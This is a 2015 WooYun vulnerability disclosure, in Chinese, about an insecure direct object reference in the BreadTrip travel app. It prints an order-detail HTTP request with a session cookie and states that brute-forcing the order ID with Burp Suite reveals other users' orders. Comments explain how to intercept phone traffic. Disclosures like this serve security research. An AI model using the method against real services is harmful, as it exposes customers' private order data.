当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103674

漏洞标题：面包旅行任意订单查看漏洞

相关厂商：面包旅行

漏洞作者： Vern

提交时间：2015-03-25 16:51

修复时间：2015-03-30 16:52

公开时间：2015-03-30 16:52

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-25： 细节已通知厂商并且等待厂商处理中
2015-03-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

面包旅行app存在任意订单查看漏洞

详细说明：

Screenshot_2015-03-25-16-07-23.png


打开面包旅行app账户设置 订单中心 查看自己的某订单 然后抓包

1.png


存在平行权限

GET /order_detail/1702283001/ HTTP/1.1
Host: breadtrip.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,text/vnd.wap.wml,*/*;q=0.8
x-wap-profile: http://www.oppo.com/resource/UA-PROF/ONEPLUSA0001.xml
X-Requested-With: com.breadtrip
User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; zh-cn; A0001 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 @BreadTrip/android/4.5.0/zh
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Cookie: btuid=; bt_devid=; csrftoken=; sessionid=db142d524ab55b8658dcd8c316c02915; Hm_lvt_39ccc5353de4e1969b414e80e516d5a7=; Hm_lpvt_39ccc5353de4e1969b414e80e516d5a7=


3.png


2.png

漏洞证明：

修改id 随便用burpsuit爆破一下 大量订单信息

4.png


12333.png


修复方案：

对权限进行验证
不知道有没有小礼物

版权声明：转载请注明来源 Vern@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-03-30 16:52

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-31 00:13 | 黑色雨滴 ( 路人 | Rank:29 漏洞数:8 | 没有主页新手一个前来玩玩)

    菜鸟路过，至今不会用burp。。手机app,Burp 是怎么监听的？

  2. 2015-04-01 19:07 | Vern ( 普通白帽子 | Rank:517 漏洞数:77 | Keep It Simple, Stupid)

    @面包旅行 忽略了。呵呵

  3. 2015-04-01 19:09 | Vern ( 普通白帽子 | Rank:517 漏洞数:77 | Keep It Simple, Stupid)

    @黑色雨滴 电脑和手机同一个wifi下。手机设置代理到电脑ip的某端口。电脑开启burp监听本机ip和某端口

  4. 2015-04-01 19:35 | prolog ( 普通白帽子 | Rank:544 漏洞数:107 | 低调求发展)

    厂商的意思是：已经被脱过裤了，所以无影响